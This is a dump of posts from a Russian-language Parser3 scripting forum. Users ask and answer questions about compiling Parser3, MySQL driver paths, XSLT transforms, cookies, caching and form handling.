"21012","точнее сам его собрал в VC7 - та же фигня, компоновщик не видит нужные библиотеки."
"21013","Спасибо за помощь!\
На highway путь к libmysqlclient.so оказался таким:\
\
/usr/opt/mysql/lib/mysql/libmysqlclient.so\
\
У них стоит Linux SuSe, но поставил cgi от Redhat пока все работает"
"21014","Теги по русски, т.к. это CommerceML, из 1С.\
\
Вот работающий код, все выводит, аж не верится что все так просто :)\
Не смог только с первого раза подсчитать отступы. Опять же проблема в линейности XML-я.\
\
[code]\
<xsl:template match=\"Каталог\"> \
  <xsl:apply-templates select=\"Группа[@Родитель = $ТекущаяПапка]\" />\
</xsl:template> \
\
<xsl:template match=\"Группа\">\
  <xsl:variable name=\"id\" select=\"@Идентификатор\" />\
   <xsl:value-of select=\"@Наименование\" />\
  <DIV>\
    <xsl:attribute name=\"style\"> padding-left: <xsl:value-of select=\"count(ancestor::Группа)\"/>em </xsl:attribute>\
    <xsl:apply-templates select=\"parent::Каталог/Группа[@Родитель = $id]\" />\
  </DIV>\
</xsl:template>\
[/code]\
\
Вопрос в куске:\
\
[code]\
count(ancestor::Группа)\
[/code]\
\
Можно ли как-нить подсчитать количество отступов таким образом.\
Кстати прочитал только что про именованные шаблоны, мб с ними как-то ?"
"21015","Вы не обратили внимание на то, что div'ы получаются вложенными.\
Посему, если у всех написать style=\"margin-left: 20px;\", то получится лесенка с двадцатипиксельным отступом.\
И придумывать ничего суперхитрого не надо."
"21018","Данный XPath возвращает число элементов текущего уровня, никак не число анцесторов в лесенке."
"21019","Юзверь я ушастый... \
Учиться, учиться и учиться...\
В.И.GoodVin\
:)"
"21020","Пытаюсь разобраться/настроить parser 3.10, столкнулся с проблемой? при открытии тестовой страницы, не найдены переменные,\
прописываю $confdir[/usr/home/user_name/public_html/cgi-bin], и получаю DOCUMENT_ROOT: /home/user_name/public_html, плюс $CHARSETS не найден, при этом _test.cfg создаеться в /public_html,\
вопрос: нормально ли утрата /usr в DOCUMENT_ROOT?, и обращать ли внимание на не найденые кодировки?"
"21021","[quot]\
получаю DOCUMENT_ROOT: /home/user_name/public_html\
[/quot]\
\
получаете где? как написано, комментируете метод @postprocess и видите в страничке DOCUMENT_ROOT: /home/user_name/public_html?\
если да, то на вашем хостинге такой DOCUMENT_ROOT устанавливается перед вызовом парсера. сам парсер читает его значение из переменных окружения.\
\
[quot]\
$CHARSETS не найден\
[/quot]\
\
$CHARSETS не найден? или таки не найдены файлы с кодировками, прописанные в этом хеше? куда вы положили файлы с кодировками?\
если это не локально, то может приведете ссылку на ваш тестовый файл?\
\
[quot]\
_test.cfg создаеться в /public_html\
[/quot]\
\
если /public_html - ваш DOCUMENT_ROOT то все ок.\
\
[quot]\
обращать ли внимание на не найденые кодировки?\
[/quot]\
\
вариантов 2:\
1. глюк в тестовом файле с поиском кодировок - забить.\
2. сам парсер не может найти файлы с кодировками - нехорошо. попробуйте проверить подключаются ли кодировки [url=\"/forum/?id=20825\"]альтернативными методами[/url]"
"21023","думаю, дело с путями. структура каталогов (как она должна была у вас получиться, если вы просто брали из CVS):\
[code]\
/parser3project\
    parser3/\
    sql/\
    win32/\
        gc/\
            Debug/\
            Release/\
[/code]\
\
возможно, что-то не так?"
"21024","И брал я прямо из CVS, ничего не меняя"
"21025","почему эти pragma бастуют: не понял, отложим это."
"21026","Будете смеяться :) - компоновщик её теперь видит, но не видит другую:\
\
parser3.obj : error LNK2019: unresolved external symbol \"void * __cdecl pa_fail_alloc(char const *,unsigned int)\" (?pa_fail_alloc@@YAPAXPBDI@Z) referenced in function \"void * __cdecl pa_malloc_atomic(unsigned int)\" (?pa_malloc_atomic@@YAPAXI@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"void __cdecl remove_crlf(char *,char *)\" (?remove_crlf@@YAXPAD0@Z) referenced in function \"void __cdecl log(char const *,char *)\" (?log@@YAXPBDPAD@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"int __cdecl __vsnprintf(char *,unsigned int,char const *,char *)\" (?__vsnprintf@@YAHPADIPBD0@Z) referenced in function \"void __cdecl log(char const *,char *)\" (?log@@YAXPBDPAD@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"int __cdecl __snprintf(char *,unsigned int,char const *,...)\" (?__snprintf@@YAHPADIPBDZZ) referenced in function \"void __cdecl log(char const *,char *)\" (?log@@YAXPBDPAD@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"char * __cdecl rsplit(char *,char)\" (?rsplit@@YAPADPADD@Z) referenced in function \"void __cdecl log(char const *,char *)\" (?log@@YAXPBDPAD@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"unsigned int __cdecl stdout_write(void const *,unsigned int)\" (?stdout_write@@YAIPBXI@Z) referenced in function \"public: static void __cdecl SAPI::send_body(class SAPI_Info &,void const *,unsigned int)\" (?send_body@SAPI@@SAXAAVSAPI_Info@@PBXI@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"void __cdecl back_slashes_to_slashes(char *)\" (?back_slashes_to_slashes@@YAXPAD@Z) referenced in function \"void __cdecl full_file_spec(char const *,char *,unsigned int)\" (?full_file_spec@@YAXPBDPADI@Z)\
parser3.obj : error LNK2001: unresolved external symbol \"public: __thiscall Exception::Exception(class Exception const &)\" (??0Exception@@QAE@ABV0@@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"public: __thiscall Request::~Request(void)\" (??1Request@@QAE@XZ) referenced in function \"void __cdecl real_parser_handler(char const *,char const *,bool)\" (?real_parser_handler@@YAXPBD0_N@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"void __cdecl pa_done_socks(void)\" (?pa_done_socks@@YAXXZ) referenced in function \"void __cdecl real_parser_handler(char const *,char const *,bool)\" (?real_parser_handler@@YAXPBD0_N@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"public: void __thiscall Request::core(char const *,bool,bool)\" (?core@Request@@QAEXPBD_N1@Z) referenced in function \"void __cdecl real_parser_handler(char const *,char const *,bool)\" (?real_parser_handler@@YAXPBD0_N@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"bool __cdecl entry_exists(char const *,struct stat *)\" (?entry_exists@@YA_NPBDPAUstat@@@Z) referenced in function \"void __cdecl real_parser_handler(char const *,char const *,bool)\" (?real_parser_handler@@YAXPBD0_N@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"public: __thiscall Request::Request(class SAPI_Info &,class Request_info &,enum String::Language,bool)\" (??0Request@@QAE@AAVSAPI_Info@@AAVRequest_info@@W4Language@String@@_N@Z) referenced in function \"void __cdecl real_parser_handler(char const *,char const *,bool)\" (?real_parser_handler@@YAXPBD0_N@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"public: __cdecl Exception::Exception(char const *,class String const *,char const *,...)\" (??0Exception@@QAA@PBDPBVString@@0ZZ) referenced in function \"void __cdecl real_parser_handler(char const *,char const *,bool)\" (?real_parser_handler@@YAXPBD0_N@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"void __cdecl pa_globals_init(void)\" (?pa_globals_init@@YAXXZ) referenced in function \"void __cdecl real_parser_handler(char const *,char const *,bool)\" (?real_parser_handler@@YAXPBD0_N@Z)\
parser3.obj : error LNK2019: unresolved external symbol \"void __cdecl pa_init_socks(void)\" (?pa_init_socks@@YAXXZ) referenced in function \"void __cdecl real_parser_handler(char const *,char const *,bool)\" (?real_parser_handler@@YAXPBD0_N@Z)\
\
Их много? просто если нет то я уж руками их все подобавляю :)"
"21027","вижу, межпроектные зависимости лежат в .sln, а его формат, как вы говорите, не очень обратно совместим.\
\
если не лень, вперёд:\
parser3 проект зависит от \
classes, cord, gd, libltdl, main, md5, pcre, smtp, types"
"21028","http://www.parser.ru/forum/?id=20934\
\
Это и было письмо, где я хотел сказать, что уже все работает. И проблема была в знаках, выделенных там красным. Думал, что поймете. Еще раз ИЗВИНЯЮСЬ."
"21029","Весь контент сайта, предположим, есть в БД MySQL. Как организовать поиск по БД через форму на сайте?"
"21030","http://serge.design.ru/libs/formextention/required/\
\
http://serge.design.ru/libs/fieldvalidator/"
"21031","Если поля CHAR, VARCHAR, то вот так:\
[code]\
$table[^table::sql{select * from content where like '%$form:serach%'}]\
[/code]\
\
А если TEXT, то по-моему средствами БД никак поиск не организуешь, только типа этого:\
[code]\
$table[^table::sql{select text from content}]\
\
\
$table2[^table.select(^table.text.pos[$form:search]>-1)]\
[/code]"
"21033","А чтобы виндовую версию получить, что надо сделать?"
"21034","На самом деле я HEAD не могу собрать с реализацией указанных функций. А вот 3.1 сделал для себя, могу если чего кинуть."
"21035","kolomeetz@yandex.ru, если не жалко :)"
"21036","Failed to deliver to ''kolomeetz@yandex.ru'\
SMTP module(domain yandex.ru) reports:\
 host mx1.yandex.ru says:\
 550 5.1.1 <'kolomeetz@yandex.ru> user unknown"
"21037","Читайте почту :)"
"21038","Есть сторонний скрипт (Yandex.Site), есть возможность\
вставить в генерируемый им текст Parser-конструкции.\
Есть ли возможность обработать Parser выдаваемые документы?\
\
Скрипт отдает документы по запросу вида:\
http://site.ru/cgi-bin/yandsearch?text=text\
 \
Может как-то можно настроить Apache или есть другие пути?"
"21039","воспользуйтесь[code]^file::cgi[yandsearch;…][/code]\
\
дальше мы используем два подхода: в report.phtml можно \
1. написать код на parser, и потом сделать [code]^process[его][/code]\
2. можно написать XML, в parser попадёт, как часть XML страницы, и пойдёт под общий transform."
"21040","Возникла проблемка: При попытки вставить на страничку менюшку, написанную в яве, каким-то образом явовый код частично переколбашивается, а именно теряются переходы на новую строку(несколько строчек слипаются в одну), что естессно вызывает ошибки. Пробовал вбить скрипт в auto.p - тоже самое. Отключаю Parser - всё намана работает. В чём может быть дело, please ?"
"21041","мелкие накопившиеся изменения"
"21043","Обновление .chm будет?"
"21044","В MySQL чтобы \"проупдатить\" числовое поле можно воспользоваться конструкцией:\
[code]\
^void:sql{update table set digit=digit+1 where id=1}\
[/code]\
\
а можно ли как нибудь похоже поступить и с полем VARCHAR или TEXT?"
"21046","Гм, теперь точно посмотрел.\
Первый раз всосалось из кэша. Сорри."
"21047","...set name = CONCAT(name,'123')...\
...set name = REPLACE(name,'123','456')...\
\
и т.д."
"21048","если нужно иное поведение - [url=\"/docs/lang/opuntainttaint.htm\"]taint[/url] вам в руки.\
\
в вашем случае лучше это делается примерно так:\
\
...\
^taint[as-is][\
тут код, в котором нужно отключить оптимизацию whitespaces и в котором нужно не забыть заэкранировать [url=\"/docs/lang/stringlit.htm\"]спец-символы[/url].\
]\
..."
"21049","может вы банально забывали писать ';' в конце java script операторов?"
"21050","не могу \"поднять\" файл в мускуль\
есть мускуль 3.23.56, есть файлы с табами и точкой-запятой, но при  LOAD DATA LOCAL INFILE выдает ошибку - не в этой версии."
"21051","если у меня в таблице несколько записей с одинаковым ключем, то в хеш попадёт первая запись с этим ключём или последняя? Эксперимент говорит, что вроде как первая, но так ли это всегда?"
"21052","идет потеря данных. как и у MySQL эта потеря может быть произвольная.\
\
если задается такой вопрос, то по моему неверно выбрано решение задачи. :)"
"21053","у какой-то unix программы в ответ на --help\
вылезало\
[code]\
   --хитрый-ключик   USE THE SOURCE, LUKE\
[/code]\
\
:)\
[code]\
enum Table2hash_distint { D_ILLEGAL, D_FIRST, D_TABLES };\
[/code]"
"21055","Есть 5 страниц. К коде каждой есть одна и та же таблица. Можно ли средствами парсера закрашивать ее случайно. Т.е. создать, например, таблицу с цветами.\
[code]\
   $.tr_colors[ \
         $.1[gray] \
         $.2[silver] \
         $.3[black] \
         $.4[green] \
         $.5[orange] \
   ] \
[/code]\
\
И чтобы парсер сам выбирал, каким цветом ему закрасить. Да при этом нужно, чтобы проходился по порядку. С 1 до 5. Т.е. юзер загрузил страницу с таблицей, она ему gray цветом. Перезагрузил — silver цветом. И т.д.\
\
А еще лучше (т.е. такая задача и есть) чтобы парсер запоминал каким цветом он в предыдущий раз красил таблицу. Если это был цвет 1, то при следующей загрузке красит уже 2 цветом.\
\
Ситуация:\
Заходит пользователь на главную страницу. Загружается эта таблица с фоном gray. Проследовал на другую страницу. (Не важно какую. Может и перезагрузил главную.) Загружается эта таблица с фоном silver. Проследовал на другую страницу. (Не важно какую. Может и перезагрузил эту.) Загружается эта таблица с фоном black. …"
"21056","задача такова, что для её решения требуется сохранить в куку из javascript нечто, из чего потом парсером надо собрать хеш.приходится ^куку.split[], а из полученной таблицы делать хеш."
"21059","Что нужно изменить?\
\
[code]\
@tr_color[]\
$cookie:prev[$.value[^math:random(5)] $.expires(14)] \
$colors[ \
   $.tr[ \
         $.0[0099FF] \
         $.1[CCFF00] \
         $.2[FFCC00] \
         $.3[FF6600] \
         $.4[FF0000] \
   ] \
] \
^for[tr](0;4){\
	^if($cookie:prev){\
		$colors.tr.$cookie:prev \
	}\
}\
[/code]"
"21060","Да я сам-то этот скрипт и не писал... просто всавил и всё... Если интересен сам скрипт его можно скачать здесь: http://dhtmlcentral.com/projects/coolmenus/"
"21061","Огромное Вам спасибо! Я только начал разбираться с Парсером и о таких тонкостях не подозревал :) Теперь всё будет круто!"
"21062","А почему бы просто не вынести код скрипта в отдельный файл *.js и не загрузить его на страницу ну типа так <script language=\"JavaScript\" src=\"*.js\">"
"21063","Прикол в том, что и этот вариант я пробовал с аналогичным результатом :("
"21064","Если команду def поставить в цикл\
^if(^for[i](0;1){def $form:$i}){good}\
то она перестает быть командой а воспринимается транслятором как переменная, что приводить к ошибке\
invalid number (double)\
Можно ли этого как то миновать?"
"21065","а в чем собственно проблема-то?\
\
Варианты :)  :\
^math:random(4)\
\
^if($cookie:prev){\
$c[$cookie:prev]\
$colors.tr.$c\
}"
"21066","[code]\
^if(^for[i](0;1){def $form:$i}){good}\
[/code]\
у вас получаеться например если(true true){good}\
где логика?\
[code]\
^for[i](0;1){\
^if(def $form:$i){good}\
}\
[/code]"
"21067","Есть таблица в которой содержатся имена полей и флаг на обязательность заполнения поля.\
name obliged\
fio 1\
birth 0\
после заполнения формы необходима проверка заполнины ли обязательные поля\
^if(^div.menu{^if($div.obliged){def $form:[$div.field]}}[ && ]){good}\
так вот после этой операции и возникает такая ошибка"
"21069","может вот так:\
[code]^if(^div.menu{^if($div.obliged == 1){def $form:[$div.field]}}[ && ]){good}[/code]\
?"
"21070","народ!\
из-за чего мускуль может отказыватся раскидать по полям таблицы текстовый фйл с разделителями?\
Файл у меня лежит. Мускуль 3.23.56"
"21071","Это открытое онанимное письмо к розработчикам скриптоязыка Parser.\
Потому что на этот вопрос будет, Я думаю, интересно узнать ответ каждому использующщему Parser в своих динамических сайтах.\
\
А вопрос мой таков: собираетесь ли вы развивать Парсер дальше? Каких продвижений (если будут, и будут ли?) стоит ожидать в следующих версиях? Что вы собираетесь делать?\
\
Надеяца на энтузиастов-опенсорсников не стоит, и я думаю вы это понимаете. Тем более, что за пределами рунета о Парсере никто и не знает.\
\
Потенциал у языка очень большой. И сама идея и структура его -- это мощ. Но до совершенства-то далеко, как понимаете.\
\
Что стоит ожидать нам, простым пользователям?"
"21073","Забыл $c[$cookie:prev].\
\
Спасибо."
"21074","Для того что бы php-включения работали в html-файлах я прописал следующее в файле .htaccess:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
AddHandler application/x-httpd-php .html\
ErrorDocument 404 /err/\
\
Php заработал, зато перестал работать Прарсер."
"21075","[code]\
@tr_color[]\
$cookie:prev[$.value[^math:random(5)] $.expires(14)]\
$colors[\
	$.tr[\
		$.0[0099FF]\
		$.1[CCFF00]\
		$.2[FFCC00]\
		$.3[FF6600]\
		$.4[FF0000]\
	]\
]\
$c[$cookie:prev]\
	^if($cookie:prev){\
		\"$colors.tr.$c\"\
}\
[/code]\
Если при ^math:random(5) получается ноль, то цвет вообще не указывается. <td bgcolor=\"\"> Почему?"
"21076","Вот класс. Когда гость, показывает \"]\" - непонятно откуда вылазит. Хочется понять, ОТКУДА. Вызывается метод ^user:check[]в корневом auto.p.\
\
[code]\
@CLASS\
user\
\
@auto[]\
#========================================\
^use[${MAIN:dir_mods}user/user.tmpl]\
#========================================\
$session_start[^dtf:sql[]]\
$session_ip[$env:REMOTE_ADDR]\
\
# Самая главная проверка, вызывается в корневом auto.p\
#========================================\
@check[]\
^if(def $cookie:user_nick && def $cookie:session_key){\
# Если куки есть, пойдем узнавать про него...\
	^user_info[]\
}{\
# ...а если нету...сделаем гостя!\
	^make_session_guest[]\
}\
\
#========================================\
@login[]\
# Если в куке написано \"гость\", показываем ему форму для входа\
^if($cookie:user_nick ne $alert:guest){\
# Если по кукам не гость (т.е. уже зашел), тогда покажем ему на выход\
	^show_logout_form[]\
}{\
# В противном случае пригласим зайти\
	^show_login_form[]\
}\
\
# Генерим 20-значный ключ в зависимости от времени входа\
#========================================\
@make_session_key[]\
$long_session_key[^math:crypt[${session_start}^math:random(10000);^$apr1^$]]\
$session_key[^long_session_key.right(20)]\
\
# Генерим куки с именем и ключом сессии. Для гостя имя $alert:guest\
#========================================\
@make_session_cookie[nick;key;expires]\
$cookie:user_nick[\
	$.value[$nick]\
	$.expires[$expires]\
]\
$cookie:session_key[\
	$.value[$key]\
	$.expires[$expires]\
]\
\
# Начинает сессию, записывая ник, ключ и времы старта\
#========================================\
@write_session[nick;key;ip;start]\
	^connect[${MAIN:db_connect}]{\
# Удалим сессию с ip, ником (и пустым тоже - на всякий случай :о) или истекшим сроком\
		^void:sql{delete from\
			${MAIN:db_prefix}_session\
			where\
				session_ip='$ip' | \
				session_nick='' | \
				session_nick='$nick' | \
				session_start<='$session_start-$MAIN:site_cookie_expires'\
			}\
# Запишем новую\
		^void:sql{insert into\
			${MAIN:db_prefix}_session\
				(session_nick, \
				session_key, \
				session_ip, \
				session_start)\
			values\
				('$nick', \
				'$key', \
				'$ip', \
				'$start')\
			}\
# Если не гость, запишем в user дату последнего входа ($session_start -> $user_last_session)\
		^void:sql{update\
			${MAIN:db_prefix}_user\
			set\
				user_last_session='$session_start'\
			where\
				user_nick='$nick'\
			}\
		]\
	}\
\
# Делаем сессию для гостя (для юзверя это делает скрипт ~login.html)\
#========================================\
@make_session_guest[]\
^make_session_key[]\
^write_session[$alert:guest;$session_key;$session_ip;$session_start]\
^make_session_cookie[$alert:guest;$session_key;${MAIN:site_cookie_expires}]\
\
\
# Получение информации о юзере\
#========================================\
@user_info[]\
# Поищем его в табле session:\
	^connect[${MAIN:db_connect}]{\
		$user[^table::sql{\
			select	\
				${MAIN:db_prefix}_user.*\
			from\
				${MAIN:db_prefix}_session, \
				${MAIN:db_prefix}_user\
			where\
				user_nick=session_nick &&\
				session_key='$cookie:session_key'\
			}\
		]\
	}\
# Если юзверь есть в обоих таблах, не забанен и ключ в порядке, сделаем ему мешок-хэш и будем дергать в любом месте\
# ^user:get[что-нибудь]\
#========================================\
^if($user){\
	$status[$user.user_status]\
# Статус юзверя: 1-подключен, 0-забанен\
	^if(^status.int[] == 1){\
		$info_hash[^user.hash[user_nick]]\
	}{\
		^page:refresh[$request.uri;$alert:banned]\
	}\
}{\
# Если же куки остались, но инфы о нем в сессиях нет, то сделаем его гостем\
	^make_session_guest[]\
}\
\
# Сама функция доставания из мешка\
#========================================\
@get[field][field]\
^switch[$field]{\
	^case[id]{$info_hash.[$cookie:user_nick].user_id}\
	^case[status]{$info_hash.[$cookie:user_nick].user_status}\
	^case[reg_date]{$info_hash.[$cookie:user_nick].user_reg_date}\
	^case[last_session]{$info_hash.[$cookie:user_nick].user_last_session}\
	^case[nick]{$info_hash.[$cookie:user_nick].user_nick}\
	^case[pass]{$info_hash.[$cookie:user_nick].user_pass}\
	^case[name]{$info_hash.[$cookie:user_nick].user_name}\
	^case[level]{$info_hash.[$cookie:user_nick].user_level}\
	^case[lang]{$info_hash.[$cookie:user_nick].user_lang}\
	^case[theme]{$info_hash.[$cookie:user_nick].user_theme}\
	^case[mail]{$info_hash.[$cookie:user_nick].user_mail}\
	^case[spam_mail]{$info_hash.[$cookie:user_nick].user_spam_mail}\
	^case[url]{$info_hash.[$cookie:user_nick].user_url}\
	^case[msn]{$info_hash.[$cookie:user_nick].user_msn}\
	^case[icq]{$info_hash.[$cookie:user_nick].user_icq}\
	^case[slogan]{$info_hash.[$cookie:user_nick].user_slogan}\
	^case[avatar]{$info_hash.[$cookie:user_nick].user_avatar}\
	^case[DEFAULT]{'$field' - $alert:not_def}\
}\
[/code]"
"21078","Вроде все как в документации, но вылетает:\
\
'xdoc' class is undefined  type: parser.runtime\
\
как его подключать и как заставить работать"
"21079","сначала вы назначили обработчиком html страниц парсер, а затем - php (при этом парсер перестал быть их обработчиком).\
\
одновременно страницы обрабатываться и парсером и php не будут."
"21081","ну вроде ДА, я сказал парсер .exe модуль и при инстале, XML был уже подключен"
"21082","^if([b]def[/b] $cookie:prev)\
\
Более того: в вашем случае этот if просто лишний..."
"21084","проверку валидности пришедших данных формы выношу в отдельный метод. неизвестно, вдруг завтра захочется проверять еще какую-нить вещь там?\
\
к тому-же конструкци, где в выражении стоит код - читаются далеко не самым лучшим образом.\
\
результат):\
[code]\
@is_valid_data[]\
$result(1)\
^div.menu{\
  ^if($result && $div.obliged && !def $form:[$div.field]){$result(0)}\
}\
#end @is_valid_data[]\
\
\
@main[]\
...\
^if(^is_valid_data[]){good}\
...\
[/code]\
"
"21085","-какая версия парсера?\
-что за exe качали? (ссылку, в ПН проверю)\
\
возможно я что-то забыл включить в exe..."
"21086","в этом весь прикол говорит что все подключено"
"21087","я использую парсер. но не забываю про php ;)\
\
если горит - можете повесить обработчиком php на файы имеющие расширение .php или парсер повесить на файлы с расширением .p3 - как вам угодно. \
\
вы не говорите что за задачу вы решаете, и зачем вам разом два языка сценариев, поэтому порекомендовать вам что-либо невозможно."
"21088","-вы уверены, что в 'xdoc' нету русских букв?\
\
-вы привели ваш код?"
"21091","Помогите справиться уже башка раскалывается...\
Есть xml'ки пишутся ручками...\
после трансформации в test.html все < и > меняются на &lt; и &gt;\
а нужно оставить теги так как есть.\
как побороть?\
\
\
\
--------- test.html -------------\
[code]\
@main[]\
	$source[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
	<document>\
		<![CDATA[ text  <br /> text <br>]]>\
	</document>}\
	]\
\
	$transformed[^source.transform[test.xsl]]\
	^transformed.save[transformed.txt]\
[/code]\
\
\
--------- test.xsl -------------\
[code]\
	<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
	<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
\
	<xsl:template match=\"document\"> \
		<xsl:copy-of select = \".\" /> \
	</xsl:template> \
\
\
	</xsl:stylesheet>\
[/code]\
\
\
--------- transformed.txt -------------\
\
[code]\
<document>\
		 text  &lt;br /&gt; text &lt;br&gt;\
</document>\
[/code]"
"21093","[code]\
@load[] \
^MAIN:dbconnect{ \
	$bd[^table::sql{select login from users}] \
} \
\
@test_and_post_message[] \
$platform[$env:HTTP_USER_AGENT] \
$ip[$env:REMOTE_ADDR] \
^if(def $form:post){ \
	^if(def $form:name && def $form:surname && def $form:login && def $form:email && def $form:password && $form:password eq $form:copypassword){ \
		^MAIN:dbconnect{ \
			^void:sql{insert into users \
				(name, surname, login, email, password, regdate, platform, ip) \
			values ( \
				'$form:name', \
				'$form:surname', \
				'$form:login', \
				'$form:email', \
				'^math:md5[$form:password]', \
				'${date.year}-${date.month}-${date.day} $date.hour:$date.minute:$date.second', \
				'$platform', \
				'$ip' \
			)\
		} \
	} \
	$cookie:name[$.value[$form:name] $.expires(14)] \
	$cookie:surname[$.value[$form:surname] $.expires(14)] \
	$cookie:login[$.value[$form:login] $.expires(14)] \
	$cookie:email[$.value[$form:email] $.expires(14)] \
	$response:location[http://${env:SERVER_NAME}/?log=in&nick=$form:login&password=^math:md5[$form:password]] \
	^if($form:login eq $bd:login){ \
		<center><font color=\"red\">Такой пользоватеь уже существует!</font></center> \
	} \
	{} \
	}{ \
		<center><font color=\"red\">ОШИБКА! Пароли не совпадают.</font></center> \
	} \
} \
[/code]\
\
Пишет,что class is undefined [b]bd[/b]. Почему, блин?"
"21094","Что еще можно узнать о пользователе кроме $env:HTTP_USER_AGENT и $env:REMOTE_ADDR?"
"21095","Применил к файлу home.xml XSL-правила с помощью $transformedDoc. Всё отобразилось нормально, за исключением возникшего вверху страницы небольшого расстояния (как-бы отступ <br />), которого не должно быть (в <body> все поля по нулям).\
\
Не подскажите в чем дело?"
"21100","Я не спец\
Но тем не менее по сравнению с перлом или пхп скрипты получаются раза в 2 короче, и как мне кажется понятнее.\
\
Ямогу ошибатья, т.к. я не изучал ни один язык программирования(скриптования) так подробно как Parser, но когда стал вопрос на чём писать динамический сайт и проведя небольшое исследование пришёл к выводу: Для мойх целей лучше Парсера нет ни чего."
"21102","1. более старый и известный язык - больше народа, у которого можно спросить совета и помощи в обучении\
2. больше написано и открыто для всеобщего пользования самых различных  модулей и классов\
\
вообще эта тема уже много раз обсуждалась. Php тоже может быть полезен во многих случаях.Что-то удобнее писать так, а что-то эдак. В общем, на любителя"
"21103","Коллеги, помогите разобраться, не могу понять что я делаю не так.\
Вызываю закэшированный код:\
[code]\
^cache[/cache/dat00.chs](10000){^Node:ExportToXML[$XMLDocument]}\
[/code]\
В кэш кладётся файлик, странного содержимого, но воспользоваться им парзер отказывается, т.е. срабатывает только 1 раз, когда происходит явный вызов ^Node:ExportToXML, затем XMLDocument оказывается каждый раз пустым(или неопределённым?). Так и должно быть?  Пробовал проделать тоже с готовыми результатами трансформации, всё прекрасно работает. В доке написано: [b]сохраняет строку, которая получится в результате работы кода[/b] Это нужно воспринимать буквально? Т.е. только конечные результаты?  Прошу прощения за неграмотность, все мы с чего-то начинаем :)"
"21104","[code]\
$page[^file::load[text;http://www.domain.ru/news.html]]\
[/code]\
Дальше регеспами"
"21106","как написано в доке, так и надо понимать.\
например, такой код будет работать правильно:\
\
[code]\
$str[^cache[$key]($time){тут крутой код который долго формирует строку или вообще пол страницы}]\
^str.match[a][g]{b}\
[/code]\
\
а такой - не будет:\
[code]\
$tbl[^cache[$key]($time){тут крутой код который долго формирует таблицу}]\
^tbl.menu{...}\
[/code]\
\
все переменные, которые вычислились внутри оператора cache НЕ запоминаются, запоминается только СТРОКА текст, которая в нем вычислится (но [b]не[/b] все строковые переменные вычисленные внутри него)."
"21109","Это, как показывает практика, очень мощная вещь, о неё зубы ломали такие зубры как Microsoft со своей MSN."
"21110","правда модуля для него парсерного нет. Да и странный он какой-то, та же REMOTE_USER не работает для CGI"
"21111","Пожалуйста, подскажите, где может быть проблема.\
\
Скачал Парсер с поддержкой xml и библиотеки Libxml к нему. Однако, после распаковки в cgi-bin парсер не запускаеться, а выдаёт ошибку: \"Точка входа в процедуру xmlGcMemSetup не найдена в библиотеке DLL libxml2.dll\". У меня ранее был установлен Libxml как модуль для Perl, но я поудалял всякие lib**.dll от libxml и  вроде не должно быть конфликта. И ещё вопрос: можно ли на одновременно держать XML::LibXSLT/XML::LibXML и Парсер?\
\
Спасибо за ответ. Вы создали отличный продукт.\
Дмитрий."
"21112","Хотя это не обязательно, брать с этого сайта, можно и самому собрать, однако они должны быть таких версий (для 3.1):\
\
libxml2-2.5.5\
libxslt-1.0.28\
gdome-0.7.4\
\
Остальные не помню :)"
"21113","http://www.edu.ru/\
\
Там есть \"Новости Министерства образования\""
"21114","Регэспами — это как?"
"21115","1. Написать письмо владельцам сайта и попросить их сделать выдачу новостей в каком-либо формате [например [url=\"http://spectator.ru/technology/web-building/RSS_for_dummies\"]RSS[/url]]. Далее загружать периодически документ с помощью ^file::load или ^xdoc::load и вставлять в документ.\
\
2. Загружать html-страницы [^file::load] с их сайта и разбирать с помощью регулярных [^string.match]выражений, но в Вашем случае это задача не тривиальная... но вполне решаемая."
"21116","вы допускаете типичную ошибку: забываете, что ваш экран видите только вы сами, и наше общение с вами происходит через то, что вы напишете.\
\
что значит «отказывается»?"
"21117","уважаемый «использующщий» и «понимающий, что до совершенства далеко».\
\
пожалуйста, вкратце опишите ваше видение совершенства."
"21118","уверен, именно это совершенно не нужно."
"21120","вы же поленились указать точное место.\
\
и тем не менее Ctrl+F \"bd:\" сразу даёт ответ."
"21121","http://www.parser.ru/docs/lang/envclass.htm"
"21122","каждый день на голове прохожу киломертра по два :)"
"21124","Pomogite pozalysta nayti oshibky!\
\
Сообщение об ошибке: \
\
driver failed to initialize client library 'libparser3mysql.so', function mysql_init was not found $sqldriversdir/libparser3mysql.so \
\
Nastraivayu na hostinge 350mb.ru\
\
Spasibo"
"21125","так называется библиотека, которую надо указывать после libparser3mysql.\
\
вы же и там и там указали одну и ту же libparser3mysql, это что за бубен?\
\
уточните полный путь к libmysqlclient.so у вашего системного администратора.\
\
этот вопрос уже обсуждался, возможно, найдёте готовый ответ."
"21127","Устанавливал, как написано в http://www.parser.ru/hosters/350mb.ru/1/"
"21128","#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
\
Y tebya v auto.p toze samoe?\
Chto s etim faylom libmysqlclient.so?\
Gde on y tebya lezit?"
"21129","$SQL.connect-string[mysql://login:pass@my_site.com/my_db]\
\
Tak podhodit dlya 350mb?\
\
Y nih v primere dlya PHP, Perla i JDBC figyriryet localhost!\
Mozet tyt zakavika?"
"21130","http://www.cifirica.ru - онлайновый перекодировщик с транслита и в транслит."
"21131","Во внутренней сети я обкатываю баннерную систему.\
Кое-что в моем проекте зависит от HTTP_REFERER & REMOTE_ADDR. \
Есть подозрение, что какой-то хэкер научился их подделывать. Подскажите как быть. Как этого избежать. \
И как они это делают.\
"
